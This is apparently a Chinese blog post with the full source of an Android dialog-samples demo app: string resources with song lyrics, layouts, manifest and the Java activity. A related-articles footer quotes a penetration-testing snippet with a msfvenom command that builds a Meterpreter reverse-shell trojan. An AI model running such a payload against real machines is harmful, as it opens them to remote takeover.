strings.xml:

<?xml version="1.0" encoding="utf-8"?>
<resources> <string name="app_name">DialogSamples</string>
<string name="action_settings">Settings</string>
<string name="hello_world">Hello world!</string>
<string name="two_button_choice">两个button的选择</string>
<string name="Confirm">确定</string>
<string name="Cancel">取消</string>
<string name="two_button_choice_with_long_message">两个button加上一长条消息</string>
<string name="long_message_for_two_button_choice">
Yesterday once more 往日重现
The carpenters
When I was young我年轻的时候
I\'d listen to the radio常听收音机
Waiting for my favorite songs总是期待我喜爱的歌
When they played I\'d sing along我会跟随伴奏歌唱
It made me smile笑声在歌声中荡漾
Those were such happy time那真是幸福的时光
And not so long ago就在不久以前
How I wondered where they\'d gone我还疑惑咋不见了歌
But they\'re back again 像久违的朋友那样
Just like a long lost friend我那么喜爱的歌
All the songs I loved so well又全部回归了我的生活
Every Sha-la-la-la每一个沙啦啦
Every Wo-o-wo-o每一声沃沃沃
Still shines依然闪亮
Every shing-a-ling-a-ling每一个开唱
That they\'re starting to sing\’s每一声银铃般的歌喉
So fine都如此美妙
When they get to the part当唱到了那一段
where he\'s breaking her heart他伤透了她的心
It can really make me cry这真让我潸然泪下
Just like before还和从前一样
It\'s yesterday once more往日情景又重现在眼前
Looking back on how it was in years gone by回首以往感叹岁月匆匆而过
And the good times that I had细数我曾经美好的时光
Makes today seem rather sad使得今天略显悲凉
So much has changed没了往日的欢乐
It was songs of love that让我耳熟能详的
I would sing to then正是当年我会唱的
And I\'d memorize each word一首首情歌
Those old melodies那些旧旋律
Still sound so good to me仍然这般地动我心魄
As they melt the years away歌中融入了逝去的年华
Every Sha-la-la-la每一个沙啦啦
Every Wo-o-wo-o每一声沃沃沃
Still shines依然闪亮
Every shing-a-ling-a-ling每一个开唱
That they\'re starting to sing\’s每一声银铃般的歌喉
So fine都如此美妙
All my best memories所有我最美的记忆
Come back clearly to me歌声都清晰地带回
Some can even make me cry有些歌甚至能让我落泪
Just like before还和从前一样
It\'s yesterday once more往日情景又重现在眼前
Every Sha-la-la-la每一个沙啦啦
Every Wo-o-wo-o每一声沃沃沃
Still shines依然闪亮
Every shing-a-ling-a-ling每一个开唱
That they\'re starting to sing\’s每一声银铃般的歌喉
So fine都如此美妙
Every Sha-la-la-la每一个沙啦啦
Every Wo-o-wo-o每一声沃沃沃
Still shines依然闪亮
</string>
<string name="Something">发生了一些事情,我到底应该怎么样才能拯救你</string>
<string name="select_dialog">选择框</string>
<string name="alert_dialog_hide">隐藏当前窗口</string>
<string name="dialog_single_choice">单选框</string>
<string name="dialog_multi_choice">多选框</string>
<string name="dialog_multi_choice_cursor">多选光标</string>
<string name="alert_dialog_username">用户名</string>
<string name="alert_dialog_password">密码</string>
<string name="alert_dialog_text_entry">文本进入框</string>
<string name="alert_dialog_two_buttons_title">传统的两个按钮</string>
<string name="alert_dialog_two_buttons_title_holo">holo主题的按钮</string>
</resources>

arrays.xml:

<?xml version="1.0" encoding="utf-8"?>
<resources>
<string-array name="select_dialog_items">
<item>Command one</item>
<item>Command two</item>
<item>Command three</item>
<item>Command four</item>
</string-array> <string-array name="select_dialog_items2">
<item>Map</item>
<item>Satellite</item>
<item>Traffic</item>
<item>Street view</item>
</string-array> <string-array name="select_dialog_items3">
<item>Every Monday</item>
<item>Every Tuesday</item>
<item>Every Wednesday</item>
<item>Every Thursday</item>
<item>Every Friday</item>
<item>Every Saturday</item>
<item>Every Sunday</item>
</string-array>
</resources>

main.xml:

<ScrollView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/screen"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"> <LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical" > <Button
android:id="@+id/two_button"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Two_Button" /> <Button
android:id="@+id/two_button2"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Two_Button_With_LONG_MESSAGE" /> <Button
android:id="@+id/select_button"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Button_for_slection"/> <Button
android:id="@+id/progress_button"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="progress_button" /> <Button
android:id="@+id/radio_button"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="single_choice_list" /> <Button
android:id="@+id/checkbox_button"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="multiple_choice" /> <Button
android:id="@+id/checkbox_button2"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="multiple_choice_cursor" /> <Button
android:id="@+id/text_entry_button"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Text Entry Dialog" /> <Button
android:id="@+id/two_buttons_old_school"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="OK Cancel dialog with traditional theme" /> <Button
android:id="@+id/two_buttons_holo_light"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="OK Cancel dialog with Holo Light theme" /> </LinearLayout> </ScrollView>

alert_dialog_text_entry.xml:

<?xml version="1.0" encoding="utf-8"?>
<!-- Copyright (C) 2008 The Android Open Source Project Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"> <TextView
android:id="@+id/username_view"
android:layout_height="wrap_content"
android:layout_width="wrap_content"
android:layout_marginLeft="20dip"
android:layout_marginRight="20dip"
android:text="@string/alert_dialog_username"
android:gravity="left"
android:textAppearance="?android:attr/textAppearanceMedium" /> <EditText
android:id="@+id/username_edit"
android:layout_height="wrap_content"
android:layout_width="match_parent"
android:layout_marginLeft="20dip"
android:layout_marginRight="20dip"
android:scrollHorizontally="true"
android:autoText="false"
android:capitalize="none"
android:gravity="fill_horizontal"
android:textAppearance="?android:attr/textAppearanceMedium" /> <TextView
android:id="@+id/password_view"
android:layout_height="wrap_content"
android:layout_width="wrap_content"
android:layout_marginLeft="20dip"
android:layout_marginRight="20dip"
android:text="@string/alert_dialog_password"
android:gravity="left"
android:textAppearance="?android:attr/textAppearanceMedium" /> <EditText
android:id="@+id/password_edit"
android:layout_height="wrap_content"
android:layout_width="match_parent"
android:layout_marginLeft="20dip"
android:layout_marginRight="20dip"
android:scrollHorizontally="true"
android:autoText="false"
android:capitalize="none"
android:gravity="fill_horizontal"
android:password="true"
android:textAppearance="?android:attr/textAppearanceMedium" /> </LinearLayout>

AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="leihu.dialogsamples"
android:versionCode="1"
android:versionName="1.0" > <uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" /> <application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="leihu.dialogsamples.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application> </manifest>

MainActivity.java:

package leihu.dialogsamples;

import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.provider.ContactsContract;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.Dialog;
import android.app.ProgressDialog;
import android.content.DialogInterface;
import android.database.Cursor;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.Toast; public class MainActivity extends Activity { private static final int EIGHT_ID = Menu.FIRST + 1;
private static final int SIXTEEN_ID = Menu.FIRST + 2;
private static final int TWENTY_FOUR_ID = Menu.FIRST + 3;
private static final int TWO_ID = Menu.FIRST + 4;
private static final int THIRTY_TWO_ID = Menu.FIRST + 5;
private static final int ONE_ID = Menu.FIRST + 6; private static final int DIALOG_YES_NO_MESSAGE = 1;
private static final int DIALOG_YES_NO_LONG_MESSAGE = 2;
private static final int DIALOG_LIST = 3;
private static final int DIALOG_PROGRESS = 4;
private static final int DIALOG_SINGLE_CHOICE = 5;
private static final int DIALOG_MULTIPLE_CHOICE = 6;
private static final int DIALOG_MULTIPLE_CHOICE_CURSOR = 7;
private static final int DIALOG_TEXT_ENTRY = 8;
private static final int DIALOG_YES_NO_OLD_SCHOOL_MESSAGE = 9;
private static final int DIALOG_YES_NO_HOLO_LIGHT_MESSAGE = 10; private ProgressDialog mProgressDialog;
private int mProgress;
private Handler mProgressHandler;
private static final int MAX_PROGRESS = 100; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button twoButtonTitle = (Button)findViewById(R.id.two_button);
twoButtonTitle.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_YES_NO_MESSAGE);
} }); Button twoButton2Title = (Button)findViewById(R.id.two_button2);
twoButton2Title.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_YES_NO_LONG_MESSAGE);
} }); Button selectButton = (Button)findViewById(R.id.select_button);
selectButton.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_LIST);
} }); Button progressButton = (Button)findViewById(R.id.progress_button);
progressButton.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_PROGRESS);
mProgress = 0;
mProgressDialog.setProgress(0);
mProgressHandler.sendEmptyMessage(0);
} }); mProgressHandler = new Handler(){ @Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
if(mProgress >= MAX_PROGRESS){
mProgressDialog.dismiss();
}
else{
mProgress++;
mProgressDialog.incrementProgressBy(1);
mProgressHandler.sendEmptyMessageDelayed(0, 100);
}
}
}; Button radioButton = (Button)findViewById(R.id.radio_button);
radioButton.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_SINGLE_CHOICE);
}
}); Button checkBox = (Button)findViewById(R.id.checkbox_button);
checkBox.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_MULTIPLE_CHOICE);
} }); Button checkBox2 = (Button)findViewById(R.id.checkbox_button2);
checkBox2.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_MULTIPLE_CHOICE_CURSOR);
}
}); Button textEntry = (Button)findViewById(R.id.text_entry_button);
textEntry.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_TEXT_ENTRY);
}
}); Button twoButtonsOldSchoolTitle = (Button)findViewById(R.id.two_buttons_old_school);
twoButtonsOldSchoolTitle.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_YES_NO_OLD_SCHOOL_MESSAGE);
}
}); Button twoButtonsHoloLightTitle = (Button)findViewById(R.id.two_buttons_holo_light);
twoButtonsHoloLightTitle.setOnClickListener(new OnClickListener(){ @Override
public void onClick(View v) {
// TODO Auto-generated method stub
showDialog(DIALOG_YES_NO_HOLO_LIGHT_MESSAGE);
}
});
} //在用户第一次按下Menu键的时候将触发onCreateOptionsMenu(Menu menu)
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
menu.add(Menu.NONE, ONE_ID, 1, "1 Pixel");
menu.add(Menu.NONE, TWO_ID, 2, "2 Pixel");
menu.add(Menu.NONE, EIGHT_ID, 3, "8 Pixel");
menu.add(Menu.NONE, SIXTEEN_ID, 4, "16 Pixel");
menu.add(Menu.NONE, TWENTY_FOUR_ID, 5, "24 Pixel");
menu.add(Menu.NONE, THIRTY_TWO_ID, 6, "32 Pixel");
return true;
} @Override
public boolean onOptionsItemSelected(MenuItem item) {
// TODO Auto-generated method stub
switch(item.getItemId()){
case ONE_ID:
Log.d("myDebug", "Id one is clicked!");
break;
}
return super.onOptionsItemSelected(item);
} @TargetApi(Build.VERSION_CODES.HONEYCOMB)
@SuppressLint("NewApi")
@Override
protected Dialog onCreateDialog(int id) {
switch(id){
case DIALOG_YES_NO_MESSAGE:
return new AlertDialog.Builder(MainActivity.this)
.setIconAttribute(android.R.attr.alertDialogIcon)
.setTitle(R.string.two_button_choice)
.setPositiveButton(R.string.Confirm, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
Log.i("myDebug", "Your mother ask you to go home to have dinner!");
}
})
.setNegativeButton(R.string.Cancel, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
Log.i("myDebug", "Your mother said that you don't need to go home to have dinner today!");
}
}).create();
case DIALOG_YES_NO_LONG_MESSAGE:
return new AlertDialog.Builder(MainActivity.this)
.setIconAttribute(android.R.attr.alertDialogIcon)
.setTitle(R.string.two_button_choice_with_long_message)
.setMessage(R.string.long_message_for_two_button_choice)
.setPositiveButton(R.string.Confirm, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
Log.i("myDebug", "Your mother ask you to go home to have dinner!");
}
})
.setNegativeButton(R.string.Cancel, new DialogInterface.OnClickListener(){ @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
Log.i("myDebug", "Your mother said that you don't need to go home to have dinner today!");
}
})
.setNeutralButton(R.string.Something, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
Log.i("myDebug", "Something happened!"); }
}).create(); case DIALOG_LIST:
return new AlertDialog.Builder(MainActivity.this)
.setTitle(R.string.select_dialog)
.setItems(R.array.select_dialog_items, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
String[] items = getResources().getStringArray(R.array.select_dialog_items);
new AlertDialog.Builder(MainActivity.this)
.setMessage("YOU selected:" + which + "," + items[which])
.show();
}
}).create(); case DIALOG_PROGRESS:
mProgressDialog = new ProgressDialog(MainActivity.this, ProgressDialog.THEME_TRADITIONAL);
mProgressDialog.setIcon(android.R.attr.alertDialogIcon);
mProgressDialog.setTitle(R.string.select_dialog);
mProgressDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);
mProgressDialog.setMax(MAX_PROGRESS);
mProgressDialog.setButton(DialogInterface.BUTTON_POSITIVE,
getText(R.string.alert_dialog_hide), new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub }
}); mProgressDialog.setButton(DialogInterface.BUTTON_NEGATIVE,
getText(R.string.Cancel), new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub }
});
return mProgressDialog;
case DIALOG_SINGLE_CHOICE:
return new AlertDialog.Builder(MainActivity.this)
.setIconAttribute(android.R.attr.alertDialogIcon)
.setTitle(R.string.dialog_single_choice)
.setSingleChoiceItems(R.array.select_dialog_items2, 0, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
new AlertDialog.Builder(MainActivity.this)
.setMessage("You choosed Item:" + which)
.show();
}
})
.setPositiveButton(R.string.Confirm, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub }
})
.setNegativeButton(R.string.Cancel, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub }
})
.create();
case DIALOG_MULTIPLE_CHOICE:
return new AlertDialog.Builder(MainActivity.this, AlertDialog.THEME_DEVICE_DEFAULT_DARK)
.setIcon(R.drawable.ic_popup_reminder)
.setTitle(R.string.dialog_multi_choice)
.setMultiChoiceItems(R.array.select_dialog_items,
new boolean[]{false, true, false, true, false, false, false},
new DialogInterface.OnMultiChoiceClickListener() { @Override
public void onClick(DialogInterface dialog, int which, boolean isChecked) {
// TODO Auto-generated method stub
String choice = isChecked ? "被选中" : "没有选中" ;
System.out.println("第" + which + "个item" + choice); }
})
.setPositiveButton(R.string.Confirm, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub }
})
.setNegativeButton(R.string.Cancel, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub }
})
.create();
case DIALOG_MULTIPLE_CHOICE_CURSOR:
String[] projection = new String[]{
ContactsContract.Contacts._ID,
ContactsContract.Contacts.DISPLAY_NAME,
ContactsContract.Contacts.SEND_TO_VOICEMAIL
};
Cursor cursor = managedQuery(ContactsContract.Contacts.CONTENT_URI,
projection, null, null, null);
return new AlertDialog.Builder(MainActivity.this, AlertDialog.THEME_TRADITIONAL)
.setIcon(R.drawable.ic_popup_reminder)
.setTitle(R.string.dialog_multi_choice_cursor)
.setMultiChoiceItems(cursor,
ContactsContract.Contacts.SEND_TO_VOICEMAIL,
ContactsContract.Contacts.DISPLAY_NAME,
new DialogInterface.OnMultiChoiceClickListener() { @Override
public void onClick(DialogInterface dialog, int which,
boolean isChecked) {
Toast.makeText(MainActivity.this,
"Readonly Demo Only - Data will not be updated",
Toast.LENGTH_SHORT).show(); }
})
.create();
case DIALOG_TEXT_ENTRY:
LayoutInflater factory = LayoutInflater.from(this);
final View textEntryView = factory.inflate(R.layout.alert_dialog_text_entry, null);
return new AlertDialog.Builder(MainActivity.this, AlertDialog.THEME_TRADITIONAL)
.setIconAttribute(android.R.attr.alertDialogIcon)
.setTitle(R.string.alert_dialog_text_entry)
.setView(textEntryView)
.setPositiveButton(R.string.Confirm, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub }
})
.setNegativeButton(R.string.Cancel, new DialogInterface.OnClickListener() { @Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub }
})
.create();
case DIALOG_YES_NO_OLD_SCHOOL_MESSAGE:
return new AlertDialog.Builder(MainActivity.this, AlertDialog.THEME_TRADITIONAL)
.setIconAttribute(android.R.attr.alertDialogIcon)
.setTitle(R.string.alert_dialog_two_buttons_title)
.setPositiveButton(R.string.Confirm, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
}
})
.setNegativeButton(R.string.Cancel, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
}
})
.create(); case DIALOG_YES_NO_HOLO_LIGHT_MESSAGE:
return new AlertDialog.Builder(MainActivity.this, AlertDialog.THEME_HOLO_LIGHT)
.setIconAttribute(android.R.attr.alertDialogIcon)
.setTitle(R.string.alert_dialog_two_buttons_title_holo)
.setPositiveButton(R.string.Confirm, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
}
})
.setNegativeButton(R.string.Cancel, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
}
})
.create();
}
return super.onCreateDialog(id);
}
}

效果图如下:

 

仿照Android标准API写的各种形式的弹出框的更多相关文章

  1. Android 如何利用Activity的Dialog风格完成弹出框设计

    在我们使用Dialog时,如果需要用到很多自己设计的控件,虽然可以让弹出框显示出我们需要的界面,但却无法找到地方完成控制代码的编写,如何解决这个问题呢,我们可以将Activity伪装成Dialog弹出 ...

  2. 【Python+selenium Wendriver API】之操作警告和弹出框

    参考文章: <Python+Selenium笔记(九):操作警告和弹出框>

  3. android 三种弹出框之一PopupWindow

    PopupWindow 在android的弹出框我目前了解到的是有三种:AlertDialog,PopupWindow,Activity伪弹框, AlertDialog太熟悉了,这里就不介绍了 就先看 ...

  4. Android 学习笔记之AndBase框架学习(二) 使用封装好的进度框,Toast框,弹出框,确认框...

    PS:渐渐明白,在实验室呆三年都不如在企业呆一年... 学习内容: 1.使用AbActivity内部封装的方法实现进度框,Toast框,弹出框,确认框...   AndBase中AbActivity封 ...

  5. 【Android】各式各样的弹出框与对菜单键、返回键的监听

    Android自带各式各样的弹出框.弹出框也是安卓主要的组件之中的一个.同一时候安卓程序能够对菜单键.返回键的监听.但在安卓4.0之后就禁止对Home键的屏蔽与监听,强制保留为系统守护按键.假设非要对 ...

  6. [RN] React Native 封装选择弹出框(ios&android)

    之前看到react-native-image-picker中自带了一个选择器,可以选择拍照还是图库,但我们的项目中有多处用到这个选择弹出框,所以就自己写了一下,最最重要的是ios和Android通用. ...

  7. Android 自定义界面的弹出框(可输入数据)

    上午写了一篇博文,介绍了如何定义从屏幕底部弹出PopupWindow,写完之后,突然想起之前写过自定义内容显示的弹出框,就随手写了两个实例,分享出来: 第一种实现方式:继承Dialog 1.1 线定义 ...

  8. 关于Android 打开新的Activity 虚拟键盘的弹出与不弹出

    关于Android 打开新的Activity 虚拟键盘的弹出与不弹出 打开Activity 时  在相应的情况 弹出虚拟键盘 或者 隐藏虚拟键盘 会给用户非常好的用户体验 , 实现起来也比较简单 只需 ...

  9. android 自定义弹出框AlertDialog ,很炫的哦

      于是就小小的模仿了下自己写了这个这样的效果,主要代码如下:dlg = new AlertDialog.Builder(context).create();dlg.show();dlg.getWin ...

随机推荐

  1. JDBC 获取自动生成的主键

    为什么需要获取自动生成的主键 例如:

  2. 【渗透测试】Msf提权步骤

    1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...

  3. 常用SQL语句大全

    一些常用SQL语句大全   一.基础1.说明:创建数据库CREATE DATABASE database-name2.说明:删除数据库drop database dbname3.说明:备份sql se ...

  4. Nginx平滑升级版本!(重点)

    一.解释nginx的平滑升级 随着nginx越来越流行使用,并且nginx的优势也越来越明显,nginx的版本迭代也开始了加速模式,1.9.0版本的nginx更新了许多新功能,例如stream四层代理 ...

  5. mybatis 无效字符

    只想说 是真的坑啊!!!!!sql就是对 但就是报错无效字符..... 一.sql后有 “:”,我觉得这个应该坑了很多人了 二.标签后有类似于空格的东西(我也不知道是tab还是空格,反正删完就对了) ...

  6. Community Cloud零基础学习(一)启用以及简单配置

    本篇参考: https://trailhead.salesforce.com/en/content/learn/trails/communities https://trailhead.salesfo ...

  7. 女神说拍了一套写真集想弄成素描画?很简单,用Python就行了!

    素描作为一种近乎完美的表现手法有其独特的魅力,随着数字技术的发展,素描早已不再是专业绘画师的专利,今天这篇文章就来讲一讲如何使用python批量获取小姐姐素描画像.文章共分两部分: 第一部分介绍两种使 ...

  8. Redis的人门以及使用

    1.Redis的安装 1.1centos下安装Redis 1.1.1 安装gcc 1.1.2 安装过程  图一 图三 2.Redis的启动 2.1 前端模式启动(不推荐) 截图 2.2 后端模式(推荐 ...

  9. Struts2高级(插件)笔记一

    插件 Struts-plugin.xml 说明: Struts-plugin.xml文件是在tomcat服务器启动的时候加载的 该配置文件在classpath的根目录下 在每一个含有plugin字母的 ...

  10. python 基础之字符串方法

    字符串 print('chenxi'*8) 测试 D:\python\python.exe D:/untitled/dir/for.py chenxichenxichenxichenxichenxic ...